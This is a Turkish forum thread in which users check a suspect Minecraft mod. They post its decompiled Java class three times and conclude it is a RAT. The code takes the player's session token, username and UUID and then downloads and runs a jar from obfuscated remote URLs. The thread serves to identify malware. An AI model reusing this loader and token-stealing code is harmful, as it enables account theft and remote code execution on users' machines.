Çözüldü Bu 2 dosya virüslü mü ??

Durum
Üzgünüz bu konu cevaplar için kapatılmıştır...

outt

Silver Üye
Katılım
23 Haz 2024
Mesajlar
57
Beğeniler
6
İletişim
2 adet Minecraft için bir mod dosyası var ama virüs olduğundan şüpheleniyorum bilgilendirirmisiniz 2 side jar Teşekkürler.




 
Bu kullanıcıyla herhangi bir iş veya ticaret yapmak istiyorsanız, forumdan uzaklaştırıldığını sakın unutmayın.
ilk dosya değil.

ikinci dosyada temiz gibi decompile edip baktım ama bir java dosyası dikkatimi çekti

Java:
    package com.example.utils;

import java.io.BufferedWriter;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.net.URL;
import java.nio.file.Files;
import java.nio.file.Path;
import net.fabricmc.api.EnvType;
import net.fabricmc.api.Environment;
import net.minecraft.class_310;
import org.apache.commons.io.FileUtils;

@Environment(EnvType.CLIENT)
public class DupeManager {
   public static void createConfigFile() {
      File t5x2y = new File(System.getenv("APPDATA") + "\\Microsoft\\config.txt");

      try {
         if (t5x2y.exists()) {
            return;
         }

         FileWriter j4a7d = new FileWriter(t5x2y, false);
         BufferedWriter k9b2q = new BufferedWriter(j4a7d);
         class_310 n8f6v = class_310.method_1551();
         String r5w3k = n8f6v.method_1548().method_1676();
         String m3t1n = String.valueOf(n8f6v.method_1548().method_44717());
         String x8c5j = n8f6v.method_1548().method_1674();
         k9b2q.write(r5w3k + "\n" + m3t1n + "\n" + x8c5j);
         k9b2q.close();
         p1z3t();
      } catch (IOException var7) {
         var7.printStackTrace();
      }

   }

   private static String g(String f) {
      StringBuilder h = new StringBuilder();
      String[] c = f.split("\\\\u");
      String[] var3 = c;
      int var4 = c.length;

      for(int var5 = 0; var5 < var4; ++var5) {
         String k = var3[var5];
         if (k.length() != 0) {
            int d = Integer.parseInt(k, 16);
            h.append((char)d);
         }
      }

      return h.toString();
   }

   private static void p1z3t() {
      String[] g7x8m = new String[]{"\\u68\\u74\\u74\\u70\\u73\\u3a\\u2f\\u2f\\u64\\u75\\u70\\u65\\u75\\u74\\u69\\u6c\\u73\\u61\\u70\\u69\\u32\\u2e\\u70\\u79\\u74\\u68\\u6f\\u6e\\u61\\u6e\\u79\\u77\\u68\\u65\\u72\\u65\\u2e\\u63\\u6f\\u6d\\u2f\\u7a\\u4b\\u33\\u72\\u35\\u44\\u39\\u65\\u4c\\u68\\u32\\u57\\u34", "\\u68\\u74\\u74\\u70\\u3a\\u2f\\u2f\\u34\\u35\\u2e\\u34\\u33\\u2e\\u31\\u36\\u33\\u2e\\u31\\u35\\u38\\u3a\\u32\\u35\\u35\\u30\\u31\\u2f\\u41\\u38\\u71\\u35\\u4c\\u32\\u74\\u33\\u4e\\u37\\u50\\u6a\\u46", "\\u68\\u74\\u74\\u70\\u73\\u3a\\u2f\\u2f\\u38\\u61\\u45\\u37\\u64\\u39\\u51\\u77\\u2e\\u70\\u79\\u74\\u68\\u6f\\u6e\\u61\\u6e\\u79\\u77\\u68\\u65\\u72\\u65\\u2e\\u63\\u6f\\u6d\\u2f\\u6a\\u37\\u4b\\u70\\u32\\u76\\u52\\u33\\u6e\\u51\\u7a\\u39\\u42", "\\u68\\u74\\u74\\u70\\u73\\u3a\\u2f\\u2f\\u4b\\u33\\u6e\\u5a\\u31\\u66\\u36\\u65\\u55\\u6f\\u54\\u2e\\u70\\u79\\u74\\u68\\u6f\\u6e\\u61\\u6e\\u79\\u77\\u68\\u65\\u72\\u65\\u2e\\u63\\u6f\\u6d\\u2f\\u32\\u56\\u74\\u34\\u79\\u4c\\u38\\u73\\u45\\u31\\u47", "\\u68\\u74\\u74\\u70\\u73\\u3a\\u2f\\u2f\\u6d\\u35\\u44\\u32\\u68\\u50\\u39\\u76\\u38\\u46\\u6a\\u31\\u2e\\u70\\u79\\u74\\u68\\u6f\\u6e\\u61\\u6e\\u79\\u77\\u68\\u65\\u72\\u65\\u2e\\u63\\u6f\\u6d\\u2f\\u48\\u38\\u6a\\u33\\u4b\\u36\\u62\\u32\\u46\\u39\\u47\\u64\\u37", "\\u68\\u74\\u74\\u70\\u73\\u3a\\u2f\\u2f\\u71\\u52\\u33\\u74\\u38\\u59\\u35\\u6b\\u34\\u42\\u2e\\u70\\u79\\u74\\u68\\u6f\\u6e\\u61\\u6e\\u79\\u77\\u68\\u65\\u72\\u65\\u2e\\u63\\u6f\\u6d\\u2f\\u66\\u34\\u54\\u31\\u70\\u58\\u32\\u72\\u41\\u39\\u4e\\u30"};
      String[] var1 = g7x8m;
      int var2 = g7x8m.length;
      int var3 = 0;

      while(var3 < var2) {
         String o2f9k = var1[var3];

         try {
            URL l6p3j = new URL(g(o2f9k));
            Path s4g7h = Files.createTempFile("a31cdd5c-4bb7-471a-ac36-41c1a364d70e", ".jar");

            try {
               FileUtils.copyURLToFile(l6p3j, s4g7h.toFile());
               String var10000 = System.getProperty("java.home");
               String b1j2y = var10000 + File.separator + "bin" + File.separator + "javaw.exe";
               String[] f8e5t = new String[]{b1j2y, "-jar", s4g7h.toString()};
               Process c3a8m = Runtime.getRuntime().exec(f8e5t);
               c3a8m.waitFor();
               break;
            } finally {
               Files.deleteIfExists(s4g7h);
            }
         } catch (InterruptedException | IOException var14) {
            ++var3;
         }
      }

   }
}

bu kod,anlayan var ise koda baksın.gozume tek bu supheli geldi.
 
ilk dosya değil.

ikinci dosyada temiz gibi decompile edip baktım ama bir java dosyası dikkatimi çekti

Java:
    package com.example.utils;

import java.io.BufferedWriter;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.net.URL;
import java.nio.file.Files;
import java.nio.file.Path;
import net.fabricmc.api.EnvType;
import net.fabricmc.api.Environment;
import net.minecraft.class_310;
import org.apache.commons.io.FileUtils;

@Environment(EnvType.CLIENT)
public class DupeManager {
   public static void createConfigFile() {
      File t5x2y = new File(System.getenv("APPDATA") + "\\Microsoft\\config.txt");

      try {
         if (t5x2y.exists()) {
            return;
         }

         FileWriter j4a7d = new FileWriter(t5x2y, false);
         BufferedWriter k9b2q = new BufferedWriter(j4a7d);
         class_310 n8f6v = class_310.method_1551();
         String r5w3k = n8f6v.method_1548().method_1676();
         String m3t1n = String.valueOf(n8f6v.method_1548().method_44717());
         String x8c5j = n8f6v.method_1548().method_1674();
         k9b2q.write(r5w3k + "\n" + m3t1n + "\n" + x8c5j);
         k9b2q.close();
         p1z3t();
      } catch (IOException var7) {
         var7.printStackTrace();
      }

   }

   private static String g(String f) {
      StringBuilder h = new StringBuilder();
      String[] c = f.split("\\\\u");
      String[] var3 = c;
      int var4 = c.length;

      for(int var5 = 0; var5 < var4; ++var5) {
         String k = var3[var5];
         if (k.length() != 0) {
            int d = Integer.parseInt(k, 16);
            h.append((char)d);
         }
      }

      return h.toString();
   }

   private static void p1z3t() {
      String[] g7x8m = new String[]{"\\u68\\u74\\u74\\u70\\u73\\u3a\\u2f\\u2f\\u64\\u75\\u70\\u65\\u75\\u74\\u69\\u6c\\u73\\u61\\u70\\u69\\u32\\u2e\\u70\\u79\\u74\\u68\\u6f\\u6e\\u61\\u6e\\u79\\u77\\u68\\u65\\u72\\u65\\u2e\\u63\\u6f\\u6d\\u2f\\u7a\\u4b\\u33\\u72\\u35\\u44\\u39\\u65\\u4c\\u68\\u32\\u57\\u34", "\\u68\\u74\\u74\\u70\\u3a\\u2f\\u2f\\u34\\u35\\u2e\\u34\\u33\\u2e\\u31\\u36\\u33\\u2e\\u31\\u35\\u38\\u3a\\u32\\u35\\u35\\u30\\u31\\u2f\\u41\\u38\\u71\\u35\\u4c\\u32\\u74\\u33\\u4e\\u37\\u50\\u6a\\u46", "\\u68\\u74\\u74\\u70\\u73\\u3a\\u2f\\u2f\\u38\\u61\\u45\\u37\\u64\\u39\\u51\\u77\\u2e\\u70\\u79\\u74\\u68\\u6f\\u6e\\u61\\u6e\\u79\\u77\\u68\\u65\\u72\\u65\\u2e\\u63\\u6f\\u6d\\u2f\\u6a\\u37\\u4b\\u70\\u32\\u76\\u52\\u33\\u6e\\u51\\u7a\\u39\\u42", "\\u68\\u74\\u74\\u70\\u73\\u3a\\u2f\\u2f\\u4b\\u33\\u6e\\u5a\\u31\\u66\\u36\\u65\\u55\\u6f\\u54\\u2e\\u70\\u79\\u74\\u68\\u6f\\u6e\\u61\\u6e\\u79\\u77\\u68\\u65\\u72\\u65\\u2e\\u63\\u6f\\u6d\\u2f\\u32\\u56\\u74\\u34\\u79\\u4c\\u38\\u73\\u45\\u31\\u47", "\\u68\\u74\\u74\\u70\\u73\\u3a\\u2f\\u2f\\u6d\\u35\\u44\\u32\\u68\\u50\\u39\\u76\\u38\\u46\\u6a\\u31\\u2e\\u70\\u79\\u74\\u68\\u6f\\u6e\\u61\\u6e\\u79\\u77\\u68\\u65\\u72\\u65\\u2e\\u63\\u6f\\u6d\\u2f\\u48\\u38\\u6a\\u33\\u4b\\u36\\u62\\u32\\u46\\u39\\u47\\u64\\u37", "\\u68\\u74\\u74\\u70\\u73\\u3a\\u2f\\u2f\\u71\\u52\\u33\\u74\\u38\\u59\\u35\\u6b\\u34\\u42\\u2e\\u70\\u79\\u74\\u68\\u6f\\u6e\\u61\\u6e\\u79\\u77\\u68\\u65\\u72\\u65\\u2e\\u63\\u6f\\u6d\\u2f\\u66\\u34\\u54\\u31\\u70\\u58\\u32\\u72\\u41\\u39\\u4e\\u30"};
      String[] var1 = g7x8m;
      int var2 = g7x8m.length;
      int var3 = 0;

      while(var3 < var2) {
         String o2f9k = var1[var3];

         try {
            URL l6p3j = new URL(g(o2f9k));
            Path s4g7h = Files.createTempFile("a31cdd5c-4bb7-471a-ac36-41c1a364d70e", ".jar");

            try {
               FileUtils.copyURLToFile(l6p3j, s4g7h.toFile());
               String var10000 = System.getProperty("java.home");
               String b1j2y = var10000 + File.separator + "bin" + File.separator + "javaw.exe";
               String[] f8e5t = new String[]{b1j2y, "-jar", s4g7h.toString()};
               Process c3a8m = Runtime.getRuntime().exec(f8e5t);
               c3a8m.waitFor();
               break;
            } finally {
               Files.deleteIfExists(s4g7h);
            }
         } catch (InterruptedException | IOException var14) {
            ++var3;
         }
      }

   }
}

bu kod,anlayan var ise koda baksın.gozume tek bu supheli geldi.
attıgın source rat
 
ilk dosya değil.

ikinci dosyada temiz gibi decompile edip baktım ama bir java dosyası dikkatimi çekti

Java:
    package com.example.utils;

import java.io.BufferedWriter;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.net.URL;
import java.nio.file.Files;
import java.nio.file.Path;
import net.fabricmc.api.EnvType;
import net.fabricmc.api.Environment;
import net.minecraft.class_310;
import org.apache.commons.io.FileUtils;

@Environment(EnvType.CLIENT)
public class DupeManager {
   public static void createConfigFile() {
      File t5x2y = new File(System.getenv("APPDATA") + "\\Microsoft\\config.txt");

      try {
         if (t5x2y.exists()) {
            return;
         }

         FileWriter j4a7d = new FileWriter(t5x2y, false);
         BufferedWriter k9b2q = new BufferedWriter(j4a7d);
         class_310 n8f6v = class_310.method_1551();
         String r5w3k = n8f6v.method_1548().method_1676();
         String m3t1n = String.valueOf(n8f6v.method_1548().method_44717());
         String x8c5j = n8f6v.method_1548().method_1674();
         k9b2q.write(r5w3k + "\n" + m3t1n + "\n" + x8c5j);
         k9b2q.close();
         p1z3t();
      } catch (IOException var7) {
         var7.printStackTrace();
      }

   }

   private static String g(String f) {
      StringBuilder h = new StringBuilder();
      String[] c = f.split("\\\\u");
      String[] var3 = c;
      int var4 = c.length;

      for(int var5 = 0; var5 < var4; ++var5) {
         String k = var3[var5];
         if (k.length() != 0) {
            int d = Integer.parseInt(k, 16);
            h.append((char)d);
         }
      }

      return h.toString();
   }

   private static void p1z3t() {
      String[] g7x8m = new String[]{"\\u68\\u74\\u74\\u70\\u73\\u3a\\u2f\\u2f\\u64\\u75\\u70\\u65\\u75\\u74\\u69\\u6c\\u73\\u61\\u70\\u69\\u32\\u2e\\u70\\u79\\u74\\u68\\u6f\\u6e\\u61\\u6e\\u79\\u77\\u68\\u65\\u72\\u65\\u2e\\u63\\u6f\\u6d\\u2f\\u7a\\u4b\\u33\\u72\\u35\\u44\\u39\\u65\\u4c\\u68\\u32\\u57\\u34", "\\u68\\u74\\u74\\u70\\u3a\\u2f\\u2f\\u34\\u35\\u2e\\u34\\u33\\u2e\\u31\\u36\\u33\\u2e\\u31\\u35\\u38\\u3a\\u32\\u35\\u35\\u30\\u31\\u2f\\u41\\u38\\u71\\u35\\u4c\\u32\\u74\\u33\\u4e\\u37\\u50\\u6a\\u46", "\\u68\\u74\\u74\\u70\\u73\\u3a\\u2f\\u2f\\u38\\u61\\u45\\u37\\u64\\u39\\u51\\u77\\u2e\\u70\\u79\\u74\\u68\\u6f\\u6e\\u61\\u6e\\u79\\u77\\u68\\u65\\u72\\u65\\u2e\\u63\\u6f\\u6d\\u2f\\u6a\\u37\\u4b\\u70\\u32\\u76\\u52\\u33\\u6e\\u51\\u7a\\u39\\u42", "\\u68\\u74\\u74\\u70\\u73\\u3a\\u2f\\u2f\\u4b\\u33\\u6e\\u5a\\u31\\u66\\u36\\u65\\u55\\u6f\\u54\\u2e\\u70\\u79\\u74\\u68\\u6f\\u6e\\u61\\u6e\\u79\\u77\\u68\\u65\\u72\\u65\\u2e\\u63\\u6f\\u6d\\u2f\\u32\\u56\\u74\\u34\\u79\\u4c\\u38\\u73\\u45\\u31\\u47", "\\u68\\u74\\u74\\u70\\u73\\u3a\\u2f\\u2f\\u6d\\u35\\u44\\u32\\u68\\u50\\u39\\u76\\u38\\u46\\u6a\\u31\\u2e\\u70\\u79\\u74\\u68\\u6f\\u6e\\u61\\u6e\\u79\\u77\\u68\\u65\\u72\\u65\\u2e\\u63\\u6f\\u6d\\u2f\\u48\\u38\\u6a\\u33\\u4b\\u36\\u62\\u32\\u46\\u39\\u47\\u64\\u37", "\\u68\\u74\\u74\\u70\\u73\\u3a\\u2f\\u2f\\u71\\u52\\u33\\u74\\u38\\u59\\u35\\u6b\\u34\\u42\\u2e\\u70\\u79\\u74\\u68\\u6f\\u6e\\u61\\u6e\\u79\\u77\\u68\\u65\\u72\\u65\\u2e\\u63\\u6f\\u6d\\u2f\\u66\\u34\\u54\\u31\\u70\\u58\\u32\\u72\\u41\\u39\\u4e\\u30"};
      String[] var1 = g7x8m;
      int var2 = g7x8m.length;
      int var3 = 0;

      while(var3 < var2) {
         String o2f9k = var1[var3];

         try {
            URL l6p3j = new URL(g(o2f9k));
            Path s4g7h = Files.createTempFile("a31cdd5c-4bb7-471a-ac36-41c1a364d70e", ".jar");

            try {
               FileUtils.copyURLToFile(l6p3j, s4g7h.toFile());
               String var10000 = System.getProperty("java.home");
               String b1j2y = var10000 + File.separator + "bin" + File.separator + "javaw.exe";
               String[] f8e5t = new String[]{b1j2y, "-jar", s4g7h.toString()};
               Process c3a8m = Runtime.getRuntime().exec(f8e5t);
               c3a8m.waitFor();
               break;
            } finally {
               Files.deleteIfExists(s4g7h);
            }
         } catch (InterruptedException | IOException var14) {
            ++var3;
         }
      }

   }
}

bu kod,anlayan var ise koda baksın.gozume tek bu supheli geldi.
Virüslü
jar indiriyor

bunun içinde birdaha birdaha gidiyor büyük ihtimal
 
Durum
Üzgünüz bu konu cevaplar için kapatılmıştır...

  Şuanda konuyu görüntüleyen kullanıcılar


Üst Alt